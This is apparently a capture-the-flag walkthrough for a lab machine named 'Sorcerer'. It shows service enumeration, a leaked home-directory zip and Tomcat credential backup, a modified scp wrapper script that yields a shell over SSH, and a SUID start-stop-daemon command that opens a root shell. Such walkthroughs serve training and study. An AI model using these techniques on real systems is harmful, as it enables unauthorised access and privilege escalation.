Sorcerer

Enumeration

22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:2a:42:24:b5:90:a1:ce:9b:ac:e7:4e:1d:6d:b4:c6 (RSA)
|   256 d0:73:2a:05:52:7f:89:09:37:76:e3:56:c8:ab:20:99 (ECDSA)
|_  256 3a:2d:de:33:b0:1e:f2:35:0f:8d:c8:d7:8f:f9:e0:0e (ED25519)
...
7742/tcp  open  http     nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: SORCERER
8080/tcp  open  http     Apache Tomcat 7.0.4
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/7.0.4

Gobuster-7742: /zipfiles

http://192.168.112.100:7742/zipfiles/
max.zip

tomcat-users.xml.bak
---
<user username="tomcat" password="[REDACTED]" roles="manager-gui"/>

authorized_keys
---
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa

scp_wrapper.sh
---
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "ACCESS DENIED."
    scp
    ;;
esac

This script is using for limiting the ssh user command to just scp. When we connect with ssh, /home/max/scp_wrapper.sh will be executed. So we can change this script with as we want to unlimited access. Or we can use tomcat manager with evil jar deploying to get initial shell.

Initial Access

Edit the file as follows

zipfiles/max/max/scp_wrapper.sh

#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "haha!"
    bash
    ;;
esac

┌──(kali㉿kali)-[~/…/zipfiles/max/max/.ssh]
└─$ scp ../scp_wrapper.sh -i id_rsa max@192.168.112.100:/home/max/scp_wrapper.sh
┌──(kali㉿kali)-[~/…/zipfiles/max/max/.ssh]
└─$ ssh -i id_rsa max@192.168.112.100                                 
PTY allocation request failed on channel 0
haha!

PrivEsc

SUID -> /usr/sbin/start-stop-daemon

-rwsr-xr-x 1 root root 44K Jun  3  2019 /usr/sbin/start-stop-daemon

https://gtfobins.github.io/gtfobins/start-stop-daemon/

$ /usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p